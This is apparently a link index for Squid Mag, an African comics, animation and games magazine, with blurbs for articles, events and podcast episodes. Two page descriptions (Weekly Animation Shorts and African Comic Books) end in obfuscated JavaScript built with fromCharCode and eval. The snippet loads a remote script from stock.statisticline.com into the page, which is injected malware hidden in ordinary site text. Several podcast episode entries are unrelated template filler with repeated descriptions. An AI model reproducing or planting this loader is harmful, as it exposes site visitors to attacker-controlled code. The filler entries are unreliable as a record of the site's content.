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# Kadi Yao Tay: Welcome to the world of African comics, games, animation and fresh, funky art!

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- [African Animated Music Videos (AAMV)](https://squidmag.ink/african-animated-music-videos/): Seen any African animated music videos?
- [Absolutely Free African Comics to Binge in 2023](https://squidmag.ink/free-african-comics/): Looking for African comics or comic books, African comic PDFs, African graphic novels or African comic anthologies? Welcome home.
- [The Ultimate Guide to Lagos Comic Con 2024: What You Need to Know](https://squidmag.ink/lagos-comic-con-2024-ultimate-guide/): Lagos Comic Con 2024 is returning for its 12th edition, promising to be a landmark event that’s bigger, bolder, and more exciting than ever before. As a cornerstone of African pop culture, the convention draws creators, fans, and industry professionals from across Nigeria and beyond. This year’s event is designed to offer something for everyone, from die-hard comic book fans to aspiring creators, and anyone looking for an immersive, fun experience.
- [Lagos Comic Con 2024: The AfroGeek Experience – Why You Can’t Miss the 12th Edition!](https://squidmag.ink/lagos-comic-con-2024/): As the anticipation builds for the upcoming 12th edition of Lagos Comic Con, it's time to mark your calendars and get ready for an unforgettable experience. With a media partnership now in place, we are thrilled to bring you exclusive insights and behind-the-scenes previews of this must-attend event. Here's why Lagos Comic Con 2024 is set to be the best yet!
- [Ozo Ezeogu’s “Break the Kolanut”: A Modern Twist on Tradition](https://squidmag.ink/ozo-ezeogus-break-the-kolanut-a-modern-twist-on-tradition/): Ozo Ezeogu, the comic book wizard who's made waves in Nigeria and beyond, has stepped out of the panel and onto the canvas with his latest masterpiece, "Break the Kolanut." With the echoes of The Holy Art Gallery's recent exhibition (which held in London from July 19 - 28) still ringing, it's high time we delved into Ozo Ezeogu's exhibit.
- [Creative Beans Showcase 03](https://squidmag.ink/creative-beans-showcase-03/): Creative Beans April 2024 Issue as documented by Emmanuel Dankyi
- [Creative Beans Showcase 05](https://squidmag.ink/creative-beans-showcase-05/): Creative Beans June 2025 Issue
- [Unleash Your Creativity in the African Fan Art Challenge with the Jungleman](https://squidmag.ink/jungleman-art-challenge/): Calling all South Africa, Nigeria, and DRC Congo artists in the Jungleman art challenge! Here's your chance to shine in the African Fan Art Challenge and win $250. Whether you're a seasoned artist or just starting out, this is your opportunity to showcase your talent and passion for African culture.
- [Creative Beans Showcase 04](https://squidmag.ink/creative-beans-showcase-04/): Creative Beans May 2024 Issue as documented by Emmanuel Dankyi
- [From Gotham to Yaoundé: The Joker Gets a Pan-African Makeover in this DC x Zebra Comics Collaboration](https://squidmag.ink/joker-dc-zebra-comics-gotham-yaounde/): Holy Bat-Signal! The Joker's going global, y'all. Get ready for a fresh take on the iconic villain as he gets reimagined for the African continent. This isn't your typical Gotham City throwdown – we're talking African storytelling with a superhero twist.
- [Ghanaian Animation at Annecy 2024](https://squidmag.ink/ghanaian-animation-annecy-2024/): That's right, we're scouting for the sickest Ghanaian animation projects out there. We want to see stuff that's fresh, innovative, and bursting with Ghanaian flavour. So if you've got a killer animation project that's ready to wow the world, then this is your chance to shine.
- [Creative Beans Showcase 02](https://squidmag.ink/creative-beans-showcase-02/): Creative Beans March 2024 Issue as documented by Emmanuel Dankyi
- [Untamed Empire Gets Untamed by Geeks: Frame by Frame Animation Nights Was a Must-Warp Portal!](https://squidmag.ink/recap-frame-by-frame-animation-nights-3/): The third installment of Frame by Frame Animation Nights was a feast for the senses. The energy was palpable as the sun set over Untamed Empire, a creative hub in Accra. Artists, enthusiasts, and industry leaders mingled to the soothing sounds of an eclectic mix of music, surrounded by the venue's unique architecture. This was more than an animation event; it was an immersion into an authentic African geek scene.
- [Animation Explosion at Frame x Frame Animation Nights 3!](https://squidmag.ink/frame-x-frame-animation-nights-03/): Calling all creative souls! The epic Frame x Frame Animation Nights returns for a mind-blowing third edition, and it's bigger than ever and ready to ignite your passion for animation.
- [Creative Beans Showcase 01](https://squidmag.ink/creative-beans-showcase-01/): Welcome to the Creative Beans monthly showcase, where we take a look at some of our favorite projects shared by African creatives on the internet. Our goal is to highlight work on the continent that truly deserves all the fire emojis in the world. We’ll be featuring work from 10 creatives every month, ideally from projects released within the month.
- [Kizazi Moto Bags 5 Nominations at Annie Awards](https://squidmag.ink/kizazi-moto-bags-5-nominations-at-annie-awards/): In the wake of the iconic original Disney's Kizazi Moto: Fire Generation, Netflix's Super Team 4 and Kiya and Kimoya Heroes blazing the trail for animations from Africa in 2023, TriggerFish Animation Studio from South Africa has emerged as a frontrunner at the 51st Annie Awards with an impressive six nominations.
- [Creative Beans Monthly Showcase](https://squidmag.ink/creative-beans-monthly-showcase/): Welcome to the Creative Beans monthly showcase, where we take a look at some of our favorite projects shared by African creatives on the internet. Our goal is to highlight work on the continent that truly deserves all the fire emojis in the world. We’ll be featuring work from 10 creatives every month, ideally from projects released within the month.
- [Ghanaian Webtoon Far From Accra Turns Post-Apocalyptic Wasteland into Reality](https://squidmag.ink/far-from-accra-webtoon/): Well strap up nerds, Ian Kwakye (aka Ian Quahachi) has just the webtoon to fuel your irrational fears in his debut web comic, Far From Accra.
- [Etan Comics Brings Africa Together in Long Distance: African Folklore Anthology](https://squidmag.ink/long-distance-anthology-etan-comics/): Titled Long Distance, the anthology features the work of more than 24 trailblazing African creators from Ethiopia, Nigeria, Zimbabwe, and more, across ten stories. It’s in keeping with everything Debebe’s comic book company stands for. “Etan Comics is all about making sure Black kids can dive into awesome stories that make them feel amazing about themselves. We want to make that the new normal. We are tired of stories that make Africans seem helpless, violent or uneducated,” he says. He believes stepping up and filling this void is a vital part of the work they do. “In this era of book bans, we want to play our part in empowering Black kids by curating fun and educational anthologies like Long Distance.”
- [AVIJOZI: Chocolate Tribe’s Commitment to Creative Collaboration and Social Impact](https://squidmag.ink/avijozi-chocolate-tribe/): In the dynamic world of technology, businesses have the power to create extraordinary experiences and influence positive change. Chocolate Tribe understands this power and has launched AVIJOZI, an inspiring corporate social responsibility initiative that fosters creative collaboration and social impact. This initiative reflects Chocolate Tribe's commitment to using its expertise to connect, uplift, and make a lasting difference in the creative community and beyond.
- [Hanson Akatti Develops a Kinetic Visual Identity to Usher in a New Era for Harmattan Rain](https://squidmag.ink/harmattan-rain-visual-identity-hanson-akatti/): Harmattan Rain has been at the forefront of documenting the alternative African music scene on the ground, and this new creative direction will dominate the covers of some of the most sought-after playlists on the continent. Featuring bold rhythmic patterns and a hypnotic palette, it perfectly mirrors the experimental and dynamic nature of African Gen Zers. 
- [Recapping the Awesome Frame x Frame Animation Nights 02](https://squidmag.ink/frame-x-frame-animation-nights-02/): Frame x Frame Animation Nights (FxF) is an exciting event that features a carefully curated selection of animated short films from all over the world, held in the vibrant city of Accra. The second edition of this event was a huge success, attracting a large audience of animation enthusiasts to Ghana's only non-alcoholic bar, Eden Bar.
- [Bahari Blue #32: The Spicy Hot Illustrations of Dissirama](https://squidmag.ink/bahari-blue-dissirama-laba/): Dissirama Laba is an illustrator, designer and entertaining content creator. Her work features bold, vibrant colors, which somehow, evoke a strong sense of softness that's typical of pastel colorways.
- [Squid CoW #7 – Red Hunter](https://squidmag.ink/squid-cow-red-hunter/): It’s not a seahorse, it’s not a ship, it’s a cow – a squid cow. Hold your fins, that’s just Squid Comic of the Week! This week’s comic is Red Hunter by Kolanut Productions.
- [Bahari Blue #31: The Mesmerizing Art of Emmanuel Boateng](https://squidmag.ink/bahari-blue-emmanuel-boateng/): In 2020, he made a decision to stick strictly to children’s book illustrations and since then has created book illustration for various authors. Emmanuel Boateng creates the occasional comic strips as well.
- [Experience the Magic of Animation in Africa: French Embassies, Annecy, and Mollo Academy Offer Exciting Opportunities for Animators on the Continent in 2023](https://squidmag.ink/animation-in-africa-chance-2023/): Animation in Africa is growing in leaps and bounds and the French Embassy is facilitating some interesting moves.
- [Join the Tshimologong Mollo Animation Academy 5th Intake for an Exciting, Paid Animation Internship](https://squidmag.ink/tshimologong-mollo-animation-academy-internship/): Attention, animation enthusiasts! The Mollo Animation Academy and Studio in partnership with the Tshimologong Wits University and the French Embassy in Ghana is excited to announce the 5th intake for its 6-month, intensive animation internship program.
- [Discover the Magic of Kalabash: Zimbabwe’s Premier Manga Anthology from Afrotokyo](https://squidmag.ink/kalabash-zimbabwe-manga-anthology/): Kalabash is a groundbreaking online manga anthology series produced by Afrotokyo, featuring four exciting short stories by talented, up-and-coming writers and illustrators from Zimbabwe. The name Kalabash, like the calabash gourd, represents a diverse mix of homegrown manga talent all in one place.
- [Squid CoW #6: My Grandfather Was a God](https://squidmag.ink/squid-cow-my-grandfather-was-a-god-collectible-comics/): It’s not a seahorse, it’s not a ship, it’s a cow – a squid cow. Hold your fins, that’s just Squid Comic of the Week! This week’s comic is My Grandfather Was a God by Murewa Ayodele and Dotun Akande.
- [2023: The Year of Ground-Breaking African Creative Projects – From Disney Collaborations to Independent Productions](https://squidmag.ink/african-creative-projects-2023/): 2023 is shaping up to be an amazing year for African creative projects!
- [Bahari Blue #30: The Adorable Art of Mervin Kaunda](https://squidmag.ink/bahari-blue-mervin-kaunda/): Mervin Kaunda is a gifted illustrator, character designer and animator whose work evokes feel-good, inspirational and simply adorable energy. He's the recipient of the Michigan Kalamazoo Animation and Film Festival award for best animation. Mervin's work centres black females - children and adult alike - and is inspired primarily by fantasy, sci-fi while taking some cues from pop-culture.
- [Game On: Accra Esports Week 2023 is Here](https://squidmag.ink/accra-esports-week-2023-is-here/): Ready yourselves for an epic gaming week at for an epic gaming week at Accra Esports Week (AEW) 2023
- [Recapping Movie Jabber Expo 2022 – A Review by Sam Kombo](https://squidmag.ink/movie-jabber-expo-2022-recap/): A recap of the Movie Jabber Expo 2022 by Cold Take Geeks' Sam Kombo. This recap is republished here with permission from Cold Take Geeks and the author.
- [Announcing the Maiden Creative Pot Winners](https://squidmag.ink/announcing-the-maiden-creative-pot-winners/): We're thrilled to announce the winners of the maiden edition of the Creative Pot fund, an initiative to help creatives in Ghana thrive in their creative disciplines.
- [Get Ready for Reading Africa Week 2022](https://squidmag.ink/reading-africa-week-2022/): Reading Africa Week is an annual celebration of all things literature, from comic books to non-fiction that's been happening since 2017. Organized by Catalyst Press, it asks readers, writers, publishers, educators, booksellers and book-lovers of all kinds to use the hashtags #ReadingAfrica or #ReadingAfricaWeek across social media to highlight the full scope of African literature.
- [Justice League Sapa Era Unlimited](https://squidmag.ink/justice-league-sapa-era/): Check out all three episodes in the Justice League Sapa Era below.
- [dEX Artmosphere 5.0: African Culture and Its Influence on Design](https://squidmag.ink/dex-artmosphere-5/):  dEX Artmosphere, Ghana’s leading creative gathering will host its  5th edition to bring together graphic designers, animators, brand strategists, photographers, videographers and advertising creatives. 
- [KARIBA and Pearl of the Sea Graphic Novels Get Release Dates](https://squidmag.ink/kariba-pearl-of-the-sea-graphic-novels-get-release-dates/): KARIBA, a 230-page middle grade fantasy comic conceived and illustrated by Daniel Clarke and written by James Clarke, with story contribution from Daniel Snaddon, draws inspiration from the folklore of the Zambezi River and the history of the construction of the Kariba Dam, the world’s largest man-made reservoir. 
- [Announcing The Creative Pot Fund by Squid Magazine](https://squidmag.ink/the-creative-pot-fund-launch/): The Creative Pot Fund is an initiative pioneered by ed. and Kadi Yao Tay.
- [League of Orishas – An Epic Nigerian Animated Series](https://squidmag.ink/league-of-orishas-anthill-studios/): League of Orishas is a new 3D-animated web series by Anthill Studios (Malika, Angry Becky, Frogeck) that chronicles the adventures of the legendary Nigerian pantheon, known as the Orishas.
- [Africacomicade Gamathon 2022 Returns with a Bang!](https://squidmag.ink/africacomicade-gamathon-2022/): Love games, VR and XR? The Gamathon is a convention-styled event of digital creatives in the games, animation, comics, and XR industry. It is a platform for African creatives to showcase their work, network, find opportunities for learning, collaboration and funding and engage in conversations relevant to the growth of the industry.
- [OS Informais – A New Era for the Comics Universe in Mozambique](https://squidmag.ink/os-informais-mozambique-comics/): Imagine a world where everything that comes from the past is suppressed. A world of tyranny where even memory cannot escape the malicious extraction by ambitious thieves who want to transform the city in the image and likeness of their megalomaniac dreams to satisfy their thirst for power. This is the backdrop against which the saga Os Informais, a Mozambican comic book that turned informal workers into superheroes, unfolds.
- [5 East African Women to Join Let Your Voices Roar Animation Incubator](https://squidmag.ink/let-your-voices-roar-admits-east-african-animators/): Following on from the successful Let Your Voices Roar Animation Training in East Africa, the Ladima Foundation, in partnership with Culture and Development East Africa (CDEA) and The African Animation Network (AAN), is proud to announce the next phase of the project; the incubation of five women in professional animation studios.
- [Got Kids? These are the Best Toy Shops in Accra (2025)](https://squidmag.ink/toy-shops-in-accra/): Looking for toys or the best toy shops in Accra? Here you go.
- [Recapping the Awesome France Ghana Animation Days](https://squidmag.ink/france-ghana-animation-days/): The sense of urgency to create the visibility for animation in Ghana necessitated the birth of the FRANCE GHANA ANIMATION DAYS with the French Embassy in Ghana, thus three eventful days of panel discussions, screenings, masterclass sessions and a star studded pitch competition for a spot at this year’s Annecy was held on the 4th, 5th of May 2022 at the artsy The Mix in Osu with studio tours on the last day. 
- [Moongirls Wins Best Comic or Graphic Novel at the 2021 Nommo Awards](https://squidmag.ink/moongirls-nommo-award-best-graphic-novel/): Moongirls by Nana Akosua Hanson was announced as the winner of the Best Graphic Novel & Comic for the African Speculative Fiction Society’s Nommo Awards.
- [Lets Talk About “Till Death”, The Upcoming Animation We’re Dying to Watch](https://squidmag.ink/till-death-animation-kofi-kyei/): Who loves a good love story? Well, here’s one for the ages! And we have absolutely no idea what exactly is in it, except, that, Till Death is a feature length animated movie and promises an exciting psychological thriller.
- [Africacomicade Gamathon Returns in November 2021](https://squidmag.ink/africacomicade-gamathon-2021/): The Africacomicade Gamathon is Africa's largest convention of digital creatives in the games, animation, comics, and XR industry, creating a platform for them to showcase their work, network, and find opportunities for collaboration and funding.
- [Yo Ghana Nerds! Ready for NerdCon Mixer 2021?](https://squidmag.ink/nerdcon-mixer-2021/): On December 11th, 2021, NerdCon Accra invites you to the NerdCon Mixer at iSpace Accra (directions at the end).
- [Meet Lwazi Msipha, The Self-taught African Animator Behind The New Cartoon Network Show](https://squidmag.ink/lwazi-msipha-my-cartoon-friend/): South Africa’s emerging animation industry has a new star in creative entrepreneur Lwazi Msipha, who has just debuted a first-of-its-kind African cartoon show on a global network.
- [African Webtoons Worth Checking Out On Webtoons & Tapas](https://squidmag.ink/african-webtoons-manga-comics/): African webtoons anyone?
- [Search Engine Guide to African Comics, Manga & Webtoons](https://squidmag.ink/search-engine-guide-african-comics/): Are there any African comics that are set in Africa? Where was the first Comic-con held in Africa? Are there African comics?

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- [The Squid Map](https://squidmag.ink/squid-map/): Explore Squid Mag's interactive map and directory of African animation studios, game developers and comic publishers — plus the comics, games and animated titles they create, country by country.
- [Squid Magazine Creative Initiatives](https://squidmag.ink/initiatives/): Our passion for art that spans comics, games, illustration, animation, mixed reality and more means we often craft experiences to help us and others connect with the things we love. This page documents all of those initiatives that we so love. From monthly showcases to events and funds, you'll find the scoop on all Squid Mag initiatives here.
- [Sketch Jam](https://squidmag.ink/sketch-jam/): Sketch Jam is an exciting way to explore your creativity in the company of others over a cup of smoothies (or whatever you prefer) and conversations about Ghana and the world. The jam is a creative event that brings together artists and art lovers to collaborate and create unique and original artwork. The first sketch jam took place at Smoothy's in East Legon.
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- [Weekly Animation Shorts](https://squidmag.ink/african-animation/weekly-shorts/): Every week, Kadi Yao Tay, ed. and Kofi Sydney Asare scour the web for the best animation picks from Africa. This includes short films, trailers, commercials, motion reels, process videos and everything in between.For thoughts on some of our picks, check out aniRadar, where our columnist Nana Yaa Serwaa Ampomaa Osei reviews various African animation picks.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);
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- [Frame X Frame Animation Nights](https://squidmag.ink/initiatives/fxfnights/): Frame x Frame Animation Nights or just FxF is a curated screening of animated short films from across the world in Accra.
- [Podcast](https://squidmag.ink/podcast/): On this podcast page, you'll find recent episodes of the Space Squid podcast by Squid Mag and Fiko's Corner by our friend, Kofi Ofosu. One podcast covers all things geek in Africa while the other takes you on an artist's journey to perfection.Space Squid is a podcast covering all things comic books, video games, animation and fresh, funky digital art from Africa! This is a complement to all the text based content on Squid Mag where you can discover the latest stories making the rounds on the African geek scene.From comic book, animation and game reviews, exciting new titles, information on the best publishers, press releases, listicles, free comics (including African comic PDFs, graphic novels, African comic anthologies), amazing African digital artists and more, the Space Squid Podcast by Squid Mag, hosted by Kadi Yao Tay is home sweet home for African nerds. Fiko’s Corner is a weekly podcast for artists and creatives. Here, Ghanaian character designer and illustrator, Kofi Ofosu shares tip, tricks and philosophies he's picked up on his artistic journey that will be helpful to other aspiring artists and even to other working professionals.Don’t miss out on the world of African comics, video games, animation, creators, events and fresh funky art, specially curated by Squid Magazine!
- [African Comic Conventions & Festivals](https://squidmag.ink/comic-conventions/): This page lists all the comic centred events in Africa, past and present. Recurring Comic Conventions such as the Lagos Comic Con, FanCon Cape Town and others as well as new players like Comic-Con Africa and Ibadan Comic-Con among others. These conventions will be linked to our subdomain, database.squidmag.ink where further details will be provided on each event.
- [African Comic Books & Graphic Novels](https://squidmag.ink/african-comics/): Discover the latest stories making the rounds in African comics. From comic book reviews, exciting new titles, information on the best publishers, press releases, listicles, free comics (including African comic PDFs, graphic novels, African comic anthologies) and more, this Squid Mag page on African comic books and the African comic industry is home. Here, you can find fun reviews such as our Squid Comic of the Week series, opinion pieces on the comic industry in Africa, listicles on a variety of topics including female African superheroes, features on comics and comic publishers such as Tatashe, TAG Comics, Comic Republic, Kugali and more. Don’t miss out on the world of African comics, video games, animation, creators, events and fresh funky art, specially curated by Squid Magazine!var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);
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- [About Squid Mag](https://squidmag.ink/about/): We loooooove comics, video games, funky digital art and animation or as some of you like to call it, cartoons ?. For the longest time, we only consumed these art forms from abroad. You know, lots of DC, Marvel, Shonen Jump, manga, Cartoon Network, anime…that sort of stuff.
- [African Animation Festivals](https://squidmag.ink/african-animation-festivals/): African animation festivals are often the only way most people experience animation from the continent. There are a number of festivals across the continent that spotlight creators, the latest projects, offer training and collaborative opportunities among artists.
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## Podcast Items
- [Space Squid](https://squidmag.ink/podcast/space-squid/): Space Squid is a podcast covering all things comic books, video games, animation and fresh, funky digital art from Africa! This is a compliment to SquidMag.ink.

## Episode Items
- [How to Recover from Business Self-Destruct Triggers](https://squidmag.ink/episode/out-of-country-jamaican-people-1-2-4-5-7/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [How to Create a Consistent Writing Time](https://squidmag.ink/episode/out-of-country-jamaican-people-1-2-4-5/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [How to Throw Out Stuff You Don’t Need](https://squidmag.ink/episode/how-to-throw-out-stuff-you-dont-need/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [The Short Shelf Life of Clothes – Organizing](https://squidmag.ink/episode/the-short-shelf-life-of-clothes-organizing/): In this episode, Layla and I each share about the latest projects that we've been working on in the business that we have built together.
- [Our Favorite Ideas for a Nature Themed Wedding](https://squidmag.ink/episode/our-favorite-ideas-for-a-nature-themed-wedding/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [The Psychology Behind How to Break Bad Habits](https://squidmag.ink/episode/the-psychology-behind-how-to-break-bad-habits/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [Transform Your New Blog into an SEO Powerhouse](https://squidmag.ink/episode/out-of-country-jamaican-people-1/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [How to Win at SEO and Get More Traffic](https://squidmag.ink/episode/how-to-throw-out-stuff-you-dont-need-1/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [Pinterest Still Drives Traffic if You Know These Things](https://squidmag.ink/episode/the-short-shelf-life-of-clothes-organizing-1/): In this episode, Layla and I each share about the latest projects that we've been working on in the business that we have built together.
- [The Easy Way to Do Affiliate Marketing in 2023](https://squidmag.ink/episode/our-favorite-ideas-for-a-nature-themed-wedding-1/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [It’s Not a Work Ethic Problem, It’s An Identity Problem](https://squidmag.ink/episode/the-psychology-behind-how-to-break-bad-habits-1/): In this episode, Layla and I each share about the latest projects that we’ve been working on in the business that we have built together.
- [How African Creators Make Money Off Comics (The Bubble)](https://squidmag.ink/episode/how-african-creators-make-money/): In this episode of the podcast, Kadi introduces a new segment called The Bubble where he shares his thoughts on different things he finds interesting in the comic book, video game and animation space in Africa. On the first edition of The Bubble, he discusses different ways comic book creators in Africa make money. 
- [Paper Angels and What We’re Looking Forward to in 2020 | Ep #3](https://squidmag.ink/episode/paper-angels-2020-expectations/): In this episode, Kofi and Kadi discuss Paper Angels, a comic book by Kudzai Gumbo and Rodney Ngundu from Zimbabwe. In typical Squid CoW fashion, we break down the review into things we like (likies), don't like (urgh) and what we're looking forward to (infinity and beyond).
- [Behind the Ink with Bertil Toby Svanekiaer](https://squidmag.ink/episode/behind-the-ink-bertil-toby-svanekiaer/): In this second episode,  I go Behind the Ink with Bertil Toby Svanekiaer, a leading animator and 3D generalist in Ghana. We talk a bit about him and his studios, Indigene B.R.O.S. and OOTO Studios and his project, Chaskele.
- [Lake of Tears, Naija Cyberpunk and Crowing Roosters](https://squidmag.ink/episode/lake-of-tears-naija-cyberpunk/): We also get in our feels about a series of illustrations by Collyde Prime titled Naija Cyberpunk. We also feature a magnificent rooster who wanted nothing more than to sing it's heart out even though we didn't ask. ?